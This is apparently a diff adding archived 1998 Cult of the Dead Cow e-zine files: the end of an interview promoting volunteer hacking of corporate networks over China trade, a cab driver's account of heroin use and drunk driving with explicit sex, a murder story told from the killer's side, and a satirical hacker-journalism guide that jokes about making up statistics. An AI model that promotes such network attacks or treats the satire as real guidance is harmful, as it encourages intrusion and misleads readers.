lenses so thick, + they made your eyes look like they were under a magnifying glass. I + used to put them on and talk really loud, asking stupid questions, + tripping, and repeating the same stupid question. It was ridiculous but + people laughed. So one day we, there were three of us, we decided to go + into a bakery and try out the routine. I went in and asked directions + on how to get to the bakery we were already in. The owner just looked + at me and said that I was there, that I was in the place I was looking + for. Then I asked the same question and started bumping into things. + And this poor man, he's just looking at me like I'm an idiot. And again + he explained that I'm in the right place. Meanwhile my friends were + stealing pastries. We did that at a few different places until we + almost got caught. I like doing imitations. I can do Kramer coming + through the door. +O: Yes. I've seen the Kramer. Love the Kramer. The Kramer is good. +B: There. Everyone does that. I always hear people talking, like from + Seinfeld. +O: Yeah. It can be a bit dopey. O.K. So you're a normal kid and you do + some bakery capers. University. What was that like? +B: Well, the hardest part was getting in. At the end of high school + there's something called The Big Test. It's an examination that lasts + several days and determines your future. There is nothing like it here. + The pressure for students is unbearable. It's study, study, study -- + for months. Before, I was bragging about not studying, but for that + test I did. I was accepted at [a university] where I did an + undergraduate degree, and for my next degree I studied abroad, you know, + graduate work, research, and so. I wanted to teach. I was lucky about + getting accepted into [a university in the UK], so things seemed on the + right course. +O: But things didn't stay on course. What provoked you to change your + plans? +B: A massacre. I had finished my studies and was preparing to go on + short vacation through Europe before returning to China. This was just + as the democracy movement was beginning to swell in the spring of 1989. + We all -- not just the Chinese students, but everyone -- we watched + television reports [about the demonstrations] with tremendous + enthusiasm. We were getting faxes, email, phone calls. It was serious, + but at the same time, it was almost like a big party. We were amazed at + how much support there was for the students from the people. And there + was a lot of excitement around Gorbachev and his visit to Beijing which + took place during that time. So many factors, you know. But as the + final days approached I began to feel very uncomfortable, almost like + sick. When the tanks went into the square and began shooting and + running over people it was like I was a little boy again, watching my + father being killed. I couldn't believe it -- so terrible. Then the + big lie. The government's first response was that it never happened. + I was at a student pub in London when this was broadcast. An + engineering student from Shanghai just went berserk and destroyed the + television. So much grief, so much anger. +O: And it was shortly after this that you arrived in Canada? +B: Yes. I knew some students at Concordia [in Montreal] who were very + helpful to get me a visa. My first two years here were very dark, very + depressing. Something inside me broke and I could not get going. There + was first the shock of the killings, then realizing that I could just + not go back. All my plans were dashed. I was worried about my mother, + you know, so many things. I couldn't work in my field. I was working + in a convenience store, in the Plateau [in Montreal]. It was ghastly. +O: And you ended up in Toronto. How did that happen? +B: I met a Chinese businessman who took me under his wing. I learned how to + make money, and ended up making a lot of it. Real estate, investing, + buying futures. I did something totally different from my training, and + it just sort of snapped me out of it. I moved to Toronto where the + Chinese community is much larger. I met you shortly after I arrived. The + rest is history. +O: Leave me out of the history. I'm justa middle man. +B: Don't be ridiculous. +O: Look, let's just move along. People aren't interested in this stuff. +B: No. That isn't right. I must acknowledge the help we have gotten, the + direction. You showed me everything about Western hackers. Chaos, Legion + of Doom, MoD, everyone. When I understood how far the Cult of the Dead + Cow reached into the hacker world, and how things were organized, I was + able to take the best and use it for our struggle. +O: Well, that's kind, but really, the hacker community can be very chaotic. + It's not what I'd call a well oiled machine. There is no discipline, not + like with the Blondes. +B: We have different agendas. But still, if it weren't for the hackers, we + wouldn't be as far ahead as we are. We owe you a lot. +O: Alright, then. On behalf of alla the hackers that ever lived, I accept. + Cheers ... Earlier you mentioned that you thought that there was a sort + of shift, that younger hackers seemed to want to use their skills to + contribute to some sort of social change. I keep getting asked how + people can help the Hong Kong Blondes, how they can contribute, and I + guess now would be a good time to ask you that same question. What can + people do, hackers, members of the general public, anyone, what can they + do to help the Blondes? +B: You are the king of set ups. We've already talked about this. +O: Shut up, jackass. Just pretend like you've heard this for the first + time. +B: Alright, the first thing is this. There are many ways to get involved to + support the struggle for human rights in China. Becoming aware is the + beginning. Just talking about it is important, educating yourself. But + if we are talking about the hacker community, you know, what they can + do, this really is a matter of personal choice. I think that if people + want to participate they should use the skills that they have. That is + all they can do. +O: That's pretty oblique. What about the Yellow Pages? I think now would be + a good time to talk about them. +B: Sorry. Yes, the Yellow Pages. They are mostly students in the United + States and Europe. +O: What, no Canadians? Damn! +B: And Canadians ... +O: Yes! +B: ... who will be using the Internet to help us. +O: And how will the little buggers be doing that? +B: Alright. This requires a little background. One of the reasons that + human rights in China are not further ahead is because they have been + de-linked from American trade policy. What this means is that when human + rights considerations were associated with doing business with the + United States, at least there was the threat of losing trade relations, + of some form of punishment. Now this just doesn't exist. Beijing + successfully went around Congress and straight to American business, so + in effect, businessmen started dictating foreign policy. There are huge + lobbies in Washington that only spend money to ensure that no one + interferes with this agenda. It's very well organized, and it doesn't + end there. Henry Kissenger ... +O: Former Secretary of State under Richard Nixon, etc. +B: Yes, Kissenger is now convinced that he is running Chinese foreign + policy and has made obscene amounts of money by connecting American + businesses to Chinese markets, and at the same time, he's denouncing any + kind of linkage between trade and progress on human rights issues as an + intrusion into national sovereignty. Every other former Secretary of + State and National Security Advisor for the past twenty-five years is + now working for Kissinger and doing the same thing. And Bill Gates is + another offender. In 1996 he publicly endorsed China's position that + human rights in China should not even be discussed at an annual meeting + of the United Nations Commission on Human Rights. By taking the side of + profit over conscience, business has set our struggle back so far that + they have become our oppressors too. +O: So, shall we come back to the Yellow Pages? +B: Yes. The Yellow Pages will make life challenging for American companies + doing business with China. +O: And how will they do that? +B: By exposing them. By naming them and possibly worse. +O: And by possibly worse, you mean what? +B: Let us be frank here. Many of these companies have computer networks and + there are a lot of members in the Yellow Pages who have excellent + hacking skills. +O: I see. Let your fingers do the stalking. +B: What? +O: Nothing. How can people get involved? Is membership in the Yellow Pages + open, closed? What? +B: Membership is open to anyone who wants to get involved. There are groups + forming in many places. Anyone can start a new cell, but the main thing + is to be careful. No foolish gestures. +O: And by holding these companies' feet to the fire, this will help human + rights in China? +B: You tell me. You understand how these things work. +O: O.K., it won't change the world but it will raise the issue in a + different way and that is important. George Kennan once remarked that + the smallest amount of progress in international relations was + significant even though it might not seem like much on the surface. In + the same way, I think that something will come out of this venture + because it's just wacky enough to grab people's attention. I mean, who + would put hacking corporate networks together with human rights in + China? It's pretty stretched out, but it makes perfect sense to me. I + think that journalists, at least the ones that don't work in Washington, + will take a look at this and start asking questions. +B: We will be attacked. This idea will be attacked like anything. +O: I know, but I don't really care. It is better to light a candle than to + curse the darkness. Look, we have to help with the strategy because it + sure as hell isn't coming from the political classes. Look at Bill + Clinton. He makes his nice feel-good trip to China and comes back + gushing about, one day there'll be democracy in China. The guy's an + idiot. I mean, if I want advice from the President about getting a blow + job from a young girl, I'm all ears, but about the chances for political + reform in China, no way. He doesn't have the competence or the moral + authority to speak about these things. +B: You are not a fan of Mr. Clinton's. +O: Oh, man, you know I'm not. But let's get back to the Yellow Pages. +B: Alright. What shall we say? +O: Who will control them, or at least, where will their direction come + from? +B: They will direct themselves. This will be a disintermediated engagement. +O: Damn, nice lingo. And how will they know who to go after? How will the + Yellow Pages identify companies that do business with China? +B: They'll have to ask. They'll have to educate themselves. The Web is a + remarkable tool for doing research and posting one's findings. Just look + at what it did for Netscape. +O: Yeah, the Netscape revolution. We must all study Chairman Jim thought. +B: That is correct. +O: So really, what we're saying is that we're basically gonna turn alla + these kids loose on American companies. That could get messy. +B: We are turning no one loose. The Yellow Pages are independent of us [the + Hong Kong Blondes] and the cDc. +O: Yeah. We have enough problems with, um, certain kinds of attention. The + [Yellow] Pages are their own thing. +B: That is correct. But coming back to, how is it you said, that it could + get messy? Human rights is an international issue, so I don't have a + problem with businesses that profit from our suffering paying part of + the bill. Perhaps then they will see the wisdom of putting some + conditions on trade. But I think, more importantly, many young people + will become involved in something important on their own terms. I have + faith in idealism and youth. It took us a long way in 1989. I believe + that it will help us again. +O: Amen. O.K., one last thing, then let's go eat. +B: Yes? +O: We, the Cult of the Dead Cow, are complete media whores, but the Hong + Kong Blondes are something very different. Why did you agree to this + interview? +B: Not for the kind of publicity you might think. We just need to have + people know that we exist for now. It is like an insurance policy you + could say. If anyone [of the Hong Kong Blondes] were arrested the + possibility of execution or long imprisonment is quite real. In China, + so much happens quietly, or behind closed doors. If someone is known, + sometimes just that is enough to keep them alive, or give hope. So for + that reason I'm saying we exist that certain things, we are doing. It is + not for fame, no. So this insurance policy, it is something that no one + wants to use, but sometimes it is good to take precautions. This is my + first and last interview. Now I can go back to being invisible. +O: Not before you pay for your beer, jerky boy. Anyway, it's been a slice. + Any parting words? Advice for the kids, rules to live by, whatever? +B: I've said enough. Let's go. + + + .-. _ _ .-. + / \ .-. ((___)) .-. / \ + /.ooM \ / \ .-. [ x x ] .-. / \ /.ooM \ +-/-------\-------/-----\-----/---\--\ /--/---\-----/-----\-------/-------\- +/lucky 13\ / \ / `-(' ')-' \ / \ /lucky 13\ + \ / `-' (U) `-' \ / + `-' the original e-zine `-' _ + Oooo eastside westside / ) __ + /)(\ ( \ WORLDWIDE / ( / \ + \__/ ) / Copyright (c) 1998 cDc communications and the author. \ ) \)(/ + (_/ CULT OF THE DEAD COW is a registered trademark of oooO + cDc communications, PO Box 53011, Lubbock, TX, 79453, USA. _ + oooO All rights reserved. Edited by Omega __ ( \ + / ) /)(\ / \ ) \ + \ ( \__/ Save yourself! Go outside! Do something! \)(/ ( / + \_) xXx BOW to the COW xXx Oooo + + http://www.cultdeadcow.com + +

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Ellsworth + 7/15/1998-#358 + + __///////\ -cDc- CULT OF THE DEAD COW -cDc- /\\\\\\\__ + \\\\\\\/ Everything You Need Since 1986 \/////// + ___ _ _ ___ _ _ ___ _ _ ___ _ _ ___ + |___heal_the_sick___raise_the_dead___cleanse_the_lepers___cast_out_demons___| + + +[Editor's note: This file was originally released in _Cool Beans!_ #6 by +G.A., under the title, "Some San Francisco Taxicab Stories"] + + +This is a conversation I had with a cab driver who, for obvious reasons, +prefers to remain anonymous. I'll tell you this much though, he doesn't +drive for the company I drive for. - G.A. + +G.A.: Let's start with drinking and driving. Have you ever been drunk + while driving cab? +Driver: Never. +G.A.: How about drugs? +Driver: Oh yeah, heroin. In fact, one time... no... more than once, a couple + times... I'd go to work and I'd be high on heroin and I'd stop and + smoke some pot. I'd be driving along and I'd forget where I was and + where I was going. I'd look around and just not know. I've been + driving cab long enough to recognize where I am in any corner in the + city, but there were a couple of times where I panicked because I + didn't know where I was going or why, you know. +G.A.: Did you have passengers when that happened? +Driver: Oh yeah, with passengers. I just faked it. I kept driving straight + till I could figure out where I was. It was just a momentary lapse, + it would come back in about ten or fifteen seconds. +G.A.: Did that scare you? +Driver: No, I felt really stupid actually. More than anything, I felt dumb. +G.A.: You didn't lose control of the car or anything? +Driver: No, I had control of the car. I've never had any wrecks. I like to + be in control, that's why I used to do heroin, because I like to be + in control too much and I had to escape my desire to be in control! +G.A.: Did you feel like you had to do heroin? +Driver: No, I did heroin because I liked heroin. +G.A.: Well then why did you do it at work? +Driver: That was probably when I was strung out. I think I probably did it + a couple times. There was a certain period of time when it was not + that unusual for me to do heroin while I was driving a cab. But it + wasn't a very long time, it was probably over a period of a couple + years or so. +G.A.: Was it the combination of heroin and pot that made you lose it? +Driver: It definitely seemed to be the pot. That was the culprit. + +G.A.: What else has happened while you were under the influence behind the + wheel. +Driver: You're probably referring to the story I told you about the drunken + queen I picked up South of Market who was doing amyl nitrate. +G.A.: Well, that was one of the stories I hoped you'd tell me, but I was + just wondering if anything interesting has happened while you were + under the influence driving. +Driver: Well, I never was all that intoxicated. I never actually drove + drunk. I mean, sometimes I'd have a couple of drinks in a bar at the + end of my shift, but basically I wasn't really driving under the + influence at all. All the really truly horrifying or interesting + things that have happened to me have happened when I've been pretty + straight and sober. +G.A.: Tell me about that. +Driver: I've developed this theory that it seems that all the really weird + things that happen to cab drivers happen to them the first couple of + months that they drive cab. They're kind of like prey in the jungle, + like a newborn or something saying "victimize me" and people pick up + that energy. Actually I think it has more to do with they don't know + how to differentiate between fares that will be a problem and fares + that won't. I actually know this guy who got robbed on his first + night driving and continued to drive for a couple of years and got + robbed twice after that. I don't know what it was with this guy, but + he seemed to attract that. In fact, I think he was robbed twice in + his first week. But he kept driving. Actually, the first couple of + weeks that I was driving, I picked up this guy, and it was probably + 4:30 in the morning and this was back in the early 80s when there + used to be a lot of bath houses opened, this was before AIDS + and it was common to find a lot of drunken gays down there trying to + get home. This guy, I picked him up and he was pretty out of it. He + was sniffing amyl nitrate and asked me if I wanted some and I said + no. But I had my window mostly rolled up and as he was doing it, I + was kind of getting high off the fumes anyway. I had to roll down the + windows gasping for air. He had asked me if I minded him doing it + and I said "No, I don't care what you do as long as you pay me." So + then he pulls out this dildo, and holds it up and says "I'm gonna put + this in my ass." I just turned to look at him and said "Great." So he + pulled his pants down and pulled his knees up around his ears and + started sticking this dildo in his ass. I just drove and tried to + ignore it. Like I said, I didn't really know any better. I thought + maybe this was what cab driving in San Francisco was about. And + he's sticking it in going "Look at me look at me! Watch me, this is + like my pussy!" And I looked back and it was pretty disgusting and he + kept doing that and I was just trying to get him where he was going. + And he said "It's ok, I'll pay you extra" And that time of the + morning, money was kind of scarce so I was willing to go along with + it. So we keep driving and then he says "I'm gonna jerk off now." And + that's where I drew the line "No, you're not going to jerk off." And + he says "No, it's ok, I'll clean it up, I have a towel! I'll give you + fifteen dollars!" And I thought about it and said "Ok", cause fifteen + dollars is fifteen dollars. So he started jerking off, and he had + this greasy little towel that he wiped it up with after he came. + And then he started sticking his dildo in his ass again. And the next + thing I know he had hung his ass over the front seat and he's + sticking the dildo in and out of his ass right beside my ear. And I + kinda looked over and I was completely flabbergasted and all of a + sudden it dropped out of his ass and onto the seat beside me. It fell + right on top of my waybill and it was just sitting there with the + street lights glistening off of it, and he said "Grab it and stick it + in!" And I said "No, no, I'm not going to do that." And then he said + "I'll give you ten dollars more!" And I said "Oh, ok." And + I shoved it up his ass. Anyway, by that time, we had pulled up to his + apartment building at Hayes and Pierce and I said "Ok, that's it, get + out." And he only gave me like ten bucks extra so I was kind of + pissed. Then he asked me if I would come upstairs with him and he + said, "All you have to do is sit there and watch me jerk off." And I + said "No, you won't, you already ripped me off." So he got out, and + started walking away and I started driving away. I heard him yell, + and I looked in my rear view mirror and he's standing in the middle + of the street with has pants down and he's holding the dildo up in + the air and he turns and he sticks it up his ass. + That was probably my most curious fare. +G.A.: Did you just go home after that? +Driver: No, I finished my shift first. + +G.A.: What else has happened to you? +Driver: Well, OK. I've had a few blowjobs while driving. And I've noticed + it becomes extremely difficult to not drive erratically when having + an orgasm in someone's mouth. I was actually coming back from a show + in Palo Alto and I'd decided I wasn't going to drink I was gonna have + to drive back and that the cops were going to be out in full force. + So I didn't drink for the whole show and then after the show I was + going to leave, but the guy who was running the show started setting + up drinks on the bar, and he just lined up ten or fifteen kamikazes + in a row. And I just took a look at them and said, "Aw, what the + hell," and I drank about seven of them in a row. Then I stayed there + for another hour or two and drove back in the van. Which I'm not + particularly proud of, that's one of the few times in my life when I + definitely knew without a doubt that I was too drunk to drive + safely. And I was kind of weaving around the road and I got a blowjob + on the way back too, and that was extremely... uh... that was + definitely... I wasn't staying in my lane. + +Driver: Anything weird happen to you since you started driving? +G.A.: Yeah, within the first month of driving, I had every conceivable type + of couple make out in the back of my cab. First it was a guy and a + girl, then it was two guys, then a transvestite and a guy and then a + transvestite and a woman, and then last it was two women. They were + just friends I guess, and they were coming home from a double date + and they just started making out like crazy in the back seat. One of + them was saying, "No, no, the cab driver might be from that HBO show. + He probably has a hidden camera!" And I said "Oh, how did you know? + It's right here in the mirror!" And they freaked out and got really + mad at me! I thought it was funny, but they were really upset. +Driver: I picked up this one guy at the Oasis Motel. It was like 2 in the + morning, and I picked him up on the corner, and he was a young white + guy, tall, normal, good looking guy. And he said, "I've only got five + dollars, can you get me to Union and Larkin?" And I knew it was going + to be a little more than that, but I agreed to take him. He was + eating something out of a styrofoam cup and I didn't really take much + notice of it. So we got there, and the meter had gone to close to six + bucks or something and I'd turned it off and he gave me the five + dollars and said thanks and got out. And then I drove down into North + Beach and I stopped over by the TransAmerica building and this guy + opens the back door and goes "UGH!!" And I turned around and + the last guy had smeared chili all over the back seat! +G.A.: That's totally weird! That's a perfect story. That's exactly what I'm + looking for. Speaking of the Oasis, that's where I got my best ride. + It in the first few months that I had been driving and I got a radio + call to the Oasis. I drove through the little drive-in garage they've + got there and this woman got into my cab wearing a motorcycle leather + and leather pants I think. Anyway, she told me she was going to 44th + and Balboa. I wasn't sure whether it would be quicker to take Turk + all the way or if I should take Geary at that point, so I asked her + which she preferred. She told me she didn't care, that she wasn't a + bitch and that however I drove, as long as she got home she'd be + happy. So I started driving and I asked her how her day had been. She + told me she'd taken the day off from work and that she worked at the + Market Street Cinema [a strip club]. I don't remember exactly + how the conversation went, but I remember not thinking all that much + about the fact that she worked in the sex industry. She asked me + about being a cab driver and then went on to tell me that she had + lived for a number of years in Boston and had done a bunch of work as + an S&M queen and that S&M queens were a dime a dozen in San Francisco + so she wasn't making as much money as she did on the more repressed + East Coast. I nodded and kept driving, then out of nowhere she was + leaning into the front seat saying "You're so sweet! You're such a + sweetheart! You're the nicest cab driver I've ever had! Most other + drivers would have at least asked me for a blowjob by now!" I was + stunned for a second. Then I choked and said "Um, that hadn't really + occurred to me. I mean, we were just talking about work. I uh..." + Then I started wondering if I was weird for not asking her, or if + she was crazy, or what. We arrived at her house, the meter said + twelve dollars and she asked me if I had change for a hundred dollar + bill. I never have change for a hundred dollar bill. Not even if I + really do have change for a hundred dollar bill. You know? +Driver: Yeah. I know. +G.A.: So I said "No," trying to sound as annoyed as possible and she said + she had to run into the house. She left her jacket in the car and + then came back out after a minute and handed me a hundred dollar + bill. I started to say that I didn't have change, but she cut me off + and said "Keep the change." I asked her if she was sure and she said, + "Yep, stay sweet" or something like that and started to walk away. + She turned around before she got to the house and said "That's the + biggest tip you've ever gotten right?" +Driver: Ha! She wanted to make sure! +G.A.: Yeah, it was really strange. +Driver: People want to make some sort of impression on you even when it's a + somewhat anonymous situation. + +G.A.: There's this weird class thing that happens too. It seems like most + people who take cab rides assume that the driver is from a lower + class than they are, and that means they can either treat you like a + servant or they figure that you'll do anything for money. +Driver: I quickly end that shit. +G.A.: Yeah, I don't usually say anything to people, but it comes up a lot + that I've been to college and people always ask me why I'm driving a + cab. And I just tell them that I like it, that it's kind of a fun + job. Every once in a while I'll have someone in the back of my cab + talking about something that I know a lot about, like computers or + desktop publishing or something and I'll wait for an opportunity to + correct them on something, or offer up an answer to a question + they're asking the other person. It's really fun when it's something + really nerdy like a Unix shell account discussion or something. It + really hurts their minds when I can participate in a conversation + with them about something they can't comprehend a cab + driver knowing anything about. But you know, it seems like most + people want to ask me "What else do you do?" I don't want to talk + about Cool Beans! all the time, so sometimes I make something up and + flat out lie to them. + +[end] + +Cool Beans! 3181 Mission #113 SF CA 94110 http://www.coolbeans.com + + + .-. _ _ .-. + / \ .-. ((___)) .-. / \ + /.ooM \ / \ .-. [ x x ] .-. / \ /.ooM \ +-/-------\-------/-----\-----/---\--\ /--/---\-----/-----\-------/-------\- +/lucky 13\ / \ / `-(' ')-' \ / \ /lucky 13\ + \ / `-' (U) `-' \ / + `-' the original e-zine `-' _ + Oooo eastside westside / ) __ + /)(\ ( \ WORLDWIDE / ( / \ + \__/ ) / Copyright (c) 1998 cDc communications and the author. \ ) \)(/ + (_/ CULT OF THE DEAD COW is a registered trademark of oooO + cDc communications, PO Box 53011, Lubbock, TX, 79453, USA. _ + oooO All rights reserved. Edited by Omega __ ( \ + / ) /)(\ / \ ) \ + \ ( \__/ Save yourself! Go outside! Do something! \)(/ ( / + \_) xXx BOW to the COW xXx Oooo + + http://www.cultdeadcow.com + + + diff --git a/textfiles.com/groups/CDC/cDc-0359.txt b/textfiles.com/groups/CDC/cDc-0359.txt new file mode 100644 index 00000000..9c7a4fe5 --- /dev/null +++ b/textfiles.com/groups/CDC/cDc-0359.txt @@ -0,0 +1,131 @@ + + + _ + | \ + | \ + | | \ + __ | |\ \ __ + _____________ _/_/ | | \ \ _/_/ _____________ + | ___________ _/_/ | | \ \ _/_/ ___________ | + | | _/_/_____ | | > > _/_/_____ | | + | | /________/ | | / / /________/ | | + | | | | / / | | + | | | |/ / | | + | | | | / | | + | | | / | | + | | |_/ | | + | | | | + | | c o m m u n i c a t i o n s | | + | |________________________________________________________________| | + |____________________________________________________________________| + + ...presents... Dark Harvest + by Sangfroid + 7/15/1998-#359 + + __///////\ -cDc- CULT OF THE DEAD COW -cDc- /\\\\\\\__ + \\\\\\\/ Everything You Need Since 1986 \/////// + ___ _ _ ___ _ _ ___ _ _ ___ _ _ ___ + |___heal_the_sick___raise_the_dead___cleanse_the_lepers___cast_out_demons___| + + +I feel the need... But I'm not addicted. + +that's for them boys +shooting the heroin in their arms... +I just smoke up a few times a day + is all. + +I scratch my dirty arm and +laugh softly to myself as I watch +the young boy walk up the +sidewalk to his house. +these strange kids wearing their black +clothes and dying their hair black never cease to amaze me. +don't they understand this is a violent neighborhood? in this +jungle, the strong survive and the weak are broken. hrmph.. +well, one more step and he'll be up to his gate... + +I slowly walk up behind the boy, and call him by name. +The boy turns to respond, sees it's me, his building's repairman, and +gives me a timid smile. + +That's right, just a little job, your landlord sent me... + +The boy looks unsure, but lets me in the small carriage apartment +anyway... + +I slowly reach down and grab the handle of my hammer... +I see the spot I need, theArcOfTheSwingComesFull!...the +claw of the hammer is buried in the boy's skull...the blood...SHIT! +The blood! Must have really buried it deep...blood is spattering on me... + +The boy is still kickin', damn... +Damn! I feel the need...must hurry... +I knew I'd have to cover my ass, I heard +some of the other customers at my dealer talkin' bout how they +got rid of the last body they rolled. +Tying the boy's now twitching arms behind his back, +I grab the small mattress and box springs off of the bed, +and drag it over the body. +Can't get distracted, I know what I'm here for, grabbing my bag +I fill it with the boy's large collection of music CDs, his watch, +and some other trinkets I know the pawn shop can't trace. +Oh! The bike, can't forget the bike...need transportation. + +That'll get me through the week, at least $500.00 worth of +merchandise for the pawn shop.. + +Now, for the finishing touches...gasoline on the mattress, my ever- +present zippo... + +Off to the pawn shop...then the dealer, shit..gotta get the blood out of +these pants. + +I'm not addicted. + +/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\ + +Sure, I'd seen William around New Orleans, but goths here are a dime a +dozen. They wash in and out of town like Mardi Gras beads discarded by drunken tourists. + +See, William and I were 'virtual friends': we spoke more on IRC than when +we would briefly meet out, or when passing on Decatur street. + +Last week someone decided William's life was worth 140 CDs, a watch, +and a bicycle. After having his skull crushed with a hammer, his hands +were bound behind his back, his mattress thrown over his dead body and set +afire. + +The night before that animal took a claw hammer to William's skull, +William asked me what making love to a woman was like. + +He had never been with a woman, never had a girlfriend, or felt the +warmth of a woman's body in the morning lying next to him. I told him, +"Ah, William, don't you worry yourself...you are young, you'll have plenty +of time to get you some...relax, enjoy your youth while you can...don't be +in a hurry." + +I think I'm going to go find a bottle of Bombay Sapphire. + + + .-. _ _ .-. + / \ .-. ((___)) .-. / \ + /.ooM \ / \ .-. [ x x ] .-. / \ /.ooM \ +-/-------\-------/-----\-----/---\--\ /--/---\-----/-----\-------/-------\- +/lucky 13\ / \ / `-(' ')-' \ / \ /lucky 13\ + \ / `-' (U) `-' \ / + `-' the original e-zine `-' _ + Oooo eastside westside / ) __ + /)(\ ( \ WORLDWIDE / ( / \ + \__/ ) / Copyright (c) 1998 cDc communications and the author. \ ) \)(/ + (_/ CULT OF THE DEAD COW is a registered trademark of oooO + cDc communications, PO Box 53011, Lubbock, TX, 79453, USA. _ + oooO All rights reserved. Edited by Omega __ ( \ + / ) /)(\ / \ ) \ + \ ( \__/ Save yourself! Go outside! Do something! \)(/ ( / + \_) xXx BOW to the COW xXx Oooo + + http://www.cultdeadcow.com + + diff --git a/textfiles.com/groups/CDC/cDc-0360.html b/textfiles.com/groups/CDC/cDc-0360.html new file mode 100644 index 00000000..02d1832f --- /dev/null +++ b/textfiles.com/groups/CDC/cDc-0360.html @@ -0,0 +1,593 @@ + + + cDc #360 + + + +
 
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+  ...presents...         The Journalist's Cookbook
+                               Version 1.0
+                                                         by Reid Fleming
+                                                         7/15/1998-#360
+ 
+             __///////\ -cDc- CULT OF THE DEAD COW -cDc- /\\\\\\\__
+               \\\\\\\/  Everything You Need Since 1986  \///////
+  ___    _   _    ___     _   _    ___       _   _      ___    _   _      ___
+ |___heal_the_sick___raise_the_dead___cleanse_the_lepers___cast_out_demons___|
+ 
+[Editor's note: This is a living document.  It will be updated from time
+to time, and its version number incremented to reflect major and minor
+changes.]
+ 
+ 
+Eventually it happens to everybody.  The producer asks you to put
+together a segment on computer crime or the hacker subculture.  Sounds easy
+enough.  You already have a couple ideas.  And luckily you have that
+friend-of-a-friend who knows that hacker who went to jail.
+ 
+But once you start actually writing, you realize that your script is
+sounding as trite as anything you've ever seen.  No matter how much you
+try to jazz it up, it looks like every other hacker spot you've seen.
+Pretty soon you're downright desperate for ideas.
+ 
+Here's a suggestion: don't agonize over what will end up being just
+another derivative news piece anyway.  Instead, let this document help
+you produce yet another mediocre story about computer hackers.
+ 
+ 
+TABLE OF CONTENTS
+ 
+TITLE
+TOPIC
+IMPENDING THREATS
+STATISTICS
+THE LEAD
+MOVIE CLIPS
+DEFINITIONS
+MONEY SHOTS
+ANIMATIONS
+INTERVIEWS
+SHOOTING YOUR SUBJECTS
+   Computer Hackers
+      Settings
+      Inserts
+   Law Enforcement Officials
+      Settings
+      Inserts
+   Security Experts
+      Settings
+      Inserts
+The Closing
+Appendix A: Statistics
+Appendix B: Interview Subjects
+Appendix C: Vernhackular
+      
+
+TITLE +  +Start by selecting the working title of your piece. In many news +organizations, the title isn't even chosen by the producer of the piece, +so it's often a waste of time to come up with something good, just to +have it retitled at the last minute. And even if you DO get to choose +your own title, it doesn't matter. Nobody remembers them. +  +Regardless, it's easier to avoid writer's block once you have a title. +Here are some examples to get you thinking. (Of course, if you're really +short on time, just crib one without modification.) +  + - The Cyberwarriors + - At Your Digital Doorstep + - The Digitally Depraved + - Hacking The Planet + - How Secure Are You Really? + - Is Your Data Safe? + - Dialing for Mayhem +  +  +TOPIC +  +Now choose a topic corresponding to a recent computer crime. This can be +very easy. Just check out the AntiOnline web site for recent hacker +news. The site is written for the layperson with some understanding of +vernhackular. <http://www.antionline.com/> +  +If AntiOnline doesn't help, then this can be hard. Check the newspapers, +magazines, chat boards... ferret out some recent computer crimes. If you +can find a fresh event falling into one of these categories, write it +down (if you don't have time for that, then just pick one that sounds good): +  + - Banking systems/ATM network penetration + - Cryptography + - Cyber terrorism/electronic pearl harbor + - Hacktivism + - Identity theft + - Military or Fortune 100 systems penetration + - Online privacy + - Personal data theft + - Proliferation of Increasingly Sophisticated Hacking Tools + - International Hacker Gatherings +  +  +IMPENDING THREATS +  +The phrase "electronic Pearl Harbor" has crept into the national +consciousness. It encompasses the commonly-cited worst case scenarios in +the computer hacking sphere. This set of impending cataclysms includes +the disruption or obliteration of any the following computer systems: +  + - Military sites protecting nuclear, biological, or chemical agents + - Air Traffic Control systems + - Communications satellites + - Interstate power grids + - 911 systems + - Metropolitan mass transit systems + - Hospital systems (patient record databases) + - National credit databases + - The Internet backbone itself +  +  +STATISTICS +  +You know the deal with statistics: no one can verify them, so don't worry +about quoting your sources. They're just guesses anyway. Well, this +wisdom is ESPECIALLY true in the case of computer crime. +  +So grab a useful statistic from a print story, or use one of those +provided in Appendix A. In a pinch you can just make something up. No +one will have any idea. +  +  +THE LEAD +  +If you don't have time to write your own, try this sure-fire intro. +  +"[CYBER TERRORISM]. With the recent [SHUTDOWN OF THE PUBLIC LIBRARY +SYSTEM], it's been on everybody's mind. We've all heard stories of +computer hackers [DISRUPTING AIR TRAFFIC CONTROL COMPUTERS] and +[DISABLING 911 SYSTEMS], but just how big a problem is this? According +to statistics, [20 MILLION HACKS ARE PERPETRATED EACH YEAR]. With odds +like that, it makes you wonder: how safe are we really?" +  +  +MOVIE CLIPS +  +Consider the use of a movie clip to hook your audience right away. At +least some of these films are familiar to most of your audience, even the +ones who don't have computers. +  +Grab a suitable sequence from one of the following flicks and open your +story with it. +  + - Goldeneye + - Hackers + - Lawnmower Man + - The Net + - Terminator 2 + - Real Genius + - Sneakers + - Speed 2 + - Superman III + - Wargames + - The Armchair Hacker + - Tron +  +  +ABOUT DEFINITIONS +  +Explain the technical jargon to your audience as each term arises. Your +intro may require the use of one or more terms, but resist the urge to +explain everything at once. It's boring, and it won't work anyway. +  +Ask your interview subjects to explain any jargon they use. While +they're at it, ask them to explain the jargon used by anyone you +interviewed previously. Someone else may be better at explaining +something than the person who actually used the term. +  +If an explanation differs substantially from that offered in Appendix C, +use the one offered by your source. Things change so rapidly on the +Internet that words are often redefined. +  +  +MONEY SHOTS +  +These are the clips of hackers sharing the fruits of their labor. Your +story should have at least one of these. +  + - Hacked web sites (FBI, CIA, DOJ, NASA, etc.) + - Purloined data scrolling across monitor + - Screenful of cracked passwords +  +  +ANIMATIONS +  +If you need them, here are some tried-and-true ideas for CG elements. +  + - Packets served across the Internet + - Satellite hacking + - Virus infecting files + - Files being deleted + - Calls being traced +  +  +INTERVIEWS +  +There are just three categories of subjects worthy of on-camera +interviews: computer hackers, law enforcement officials, and security +experts. +  +Whenever you interview any of these subjects, you must determine their +credentials. By this we mean the following: +  + * number of years in their respective roles + * famous exploits + * membership in appropriate organizations + * authorship of any books or articles on the topic + * relevant jail time + * whether the subject has been featured in any previous interviews +  +  +ABOUT SHOOTING YOUR SUBJECTS +  +Just four simple rules, all of which you should already know. +  +Rule number one: always shoot the subject working at a computer. This is +absolutely crucial, never omit it. +  +Rule number two: conduct the interview in the subject's habitat, but away +from the computer. +  +Rule number three: get lots of closeups. Room decorations, computer +systems, keyboards, bookshelves, anything visually appealing. You will +need these for cutaways. +  +Rule number four: get full coverage on the subject. This can mean more +than closeups and reverse shots. Shoot ECUs of prominent jewelry, +t-shirt logos, badges, holsters, ID tags, 